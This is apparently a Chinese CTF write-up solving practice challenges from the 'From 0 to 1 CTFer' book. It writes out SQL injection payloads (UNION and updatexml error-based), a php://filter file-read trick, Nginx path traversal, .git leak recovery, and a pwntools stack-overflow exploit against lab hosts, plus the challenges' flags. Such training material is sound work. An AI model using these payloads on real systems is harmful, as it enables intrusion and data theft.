參考《從0到1 CTFer成長之路》
[第一章 web入門]常見的搜集
先驗知識:常見的敏感文件
- gedit備份文件,格式為
filename~
,比如index.php~
- vim備份文件,格式為
.filename.swp
或者*.swo
或者*.swn
,比如.index.php.swp
- robots.txt
- 還有
filename.bak
文件
方法
- 地址后加
/index.php~
/.index.php.swp
會即刻下載備份文件,可通過vi index.php
建一個只有空格的文件,然后通過vim -r index.php
進行恢復即可得到
/robots.txt
查看這個文本文件
綜上可得
n1book{info_1s_v3ry_imp0rtant_hack}
[第一章 web入門]粗心的小李
git泄露
方法
- 借助GitHacker工具
git clone https://github.com/WangYihang/GitHacker.git
cd GitHacker
python Githacker.py http://0fcbe3ec-471a-452a-9e5f-953c5026eb18.node3.buuoj.cn/.git
- 進入恢復后的文件夾
cd 0fcbe3ec-471a-452a-9e5f-953c5026eb18_node3_buuoj_cn_
,有個index.html
- 瀏覽器打開index.html即可拿到flag
n1book{git_looks_s0_easyfun}
[第一章 web入門]SQL注入-1
- 打開題目鏈接可以看到
- 試試
id=1+1
的回顯,發現和id=1
結果相同,所以不是數字型注入,可能是字符型
- 嘗試
id=1a
發現和id=1
結果相同,所以確實是字符型
- 嘗試用
id=1'#
,單引號用於閉合前面的單引號,井號用於注釋后面預置的單引號。這里注意:#一定要用URL編碼,即%23,所以實際上需要輸入id=1'%23
單引號會被自動轉成%27
- 可以成功顯示
- 優先嘗試UNION注入
id=-1'union select 1,2,3%23
,其中-1是為了使第一行記錄無法被查詢到,當然,除了-1也可以是一個很大的值比如1024、100等。后面的查詢語句是嘗試測試哪些字段可以回顯參考
- 所以將數字2改成我們想查詢的內容:所有表名
group_concat(table_name)
,group_concat
是用,
聯合多行記錄的函數。所以為查詢本數據庫的其他所有表名,需id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
,隨即看到fl4g
- 查詢fl4g中的字段名,
id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23
- 獲取fllllag的內容,
id=-1'union select 1,fllllag,3 from fl4g%23
n1book{union_select_is_so_cool}
[第一章 web入門]SQL注入-2
先驗知識
- 有的網站會開啟錯誤調試信息方便開發者調試,可以利用報錯信息進行報錯注入
- updatexml第二個參數應為合法XPATH路徑,否則會在引發報錯的同時輸出傳入的參數
- dual用於測試數據庫是否可以正常使用
方法
- 在連接后加上
/login.php
,右鍵查看源碼
- 回到登錄頁面,打開Burp Suite,安裝方法參考
- 推薦瀏覽器插件:SwitchyOmega,可以省去每次設置代理的步驟,使用BurpSuite時,點擊插件選擇對應Burp Suite的代理即可
- 在login界面隨便輸入用戶名和密碼如1,1然后點擊登錄
- 可以在Burp Suite中Proxy->HTTP history看到記錄
- CTRL+R,發送到Repeater,在login.php后添加
?tips=1
,點擊Go,看到報錯
- 用dual進行測試
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)#&pass=xxxx
- 說明存在過濾,將select改成selEct重新發送后回顯正常
- 之后的操作與與SQL注入1同理,將selEct后的1改為group_concat(table_name),dual改為information_schema.tables where table_schema=database()以查看所有表名
- 仍與SQL注入1同理,查看fl4g的字段,分別改為group_concat(column_name)和information_schema.columns where table_name='fl4g'
- 獲取flag,
selEct flag from fl4g
n1book{login_sqli_is_nice}
[第一章 web入門]afr_1
先驗知識
- PHP向用戶提供的指定待打開文件的方式,是一個文件流
- PHP的Filter機制,可對目前的協議進行一定的處理,比如將當前文件流的內容進行Base64編碼。使用方法
php://filter/read=convert.base64-encode/resource=xxx
- 利用Filter機制,構造形如以上的攻擊數據可以讀取文件,拿到各種文件的源碼
方法
- 點擊題目鏈接
p=php://filter/read=convert.base64-encode/resource=hello
PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkISI7
Base64解碼結果為
<?php
echo "hello world!";
- 嘗試改p,發現
p=flag
時有回顯,所以應該存在這么個文件
p=php://filter/read=convert.base64-encode/resource=flag
PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
- 解碼結果為
<?php
die('no no no');
//n1book{afr_1_solved}
[第一章 web入門]afr_2
先驗知識
Nginx錯誤配置可能產生目錄穿越漏洞,比如:
location /static {
alias /home/myapp/static/;
}
由於static后沒有加/,如果用戶請求/static../,拼接到alias進會變成/home/myapp/static/../會穿越到myapp目錄
方法
- 點擊題目鏈接
- 右鍵查看源碼
- 查看img目錄
- 目錄穿越
- 下載flag,用記事本打開即可
n1book{afr_2_solved}
[第五章 CTF之RE章]Hello, RE
直接拖到ida64反編譯即可看到flag
n1book{Welcome_to_reversing_world!}
[第六章 CTF之PWN章]stack
題目提供了libc-2.27.so和stack,根據經驗知道這題環境是Ubuntu18,需要進行堆棧平衡
checksec stack
- IDA64反編譯,並查看
main
函數
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln(*(_QWORD *)&argc, argv, envp);
return 0;
}
- 進一步查看
vuln
,發現棧溢出漏洞
- 雙擊變量
v1
查看棧信息,所以當覆蓋'a'*18
后即可到達函數返回地址
- 同時注意到IDA64的函數窗口有個
shell
,查看以下發現
- 所以需要將
shell
的地址0x覆蓋到vuln
的返回地址即可。由於前面提到需要堆棧平衡,我們還要知道shell的ret地址
- 綜上,有exp如下
from pwn import *
#p = process('./stack')
p = remote('node3.buuoj.cn', 25413)
shell = 0x400537
retn = 0x40054e
payload = 'a' * 18 + p64(retn) + p64(shell)
p.sendline(payload)
p.interactive()
python exp.py
n1book{851939e4e90b864b8d20fe6228564522}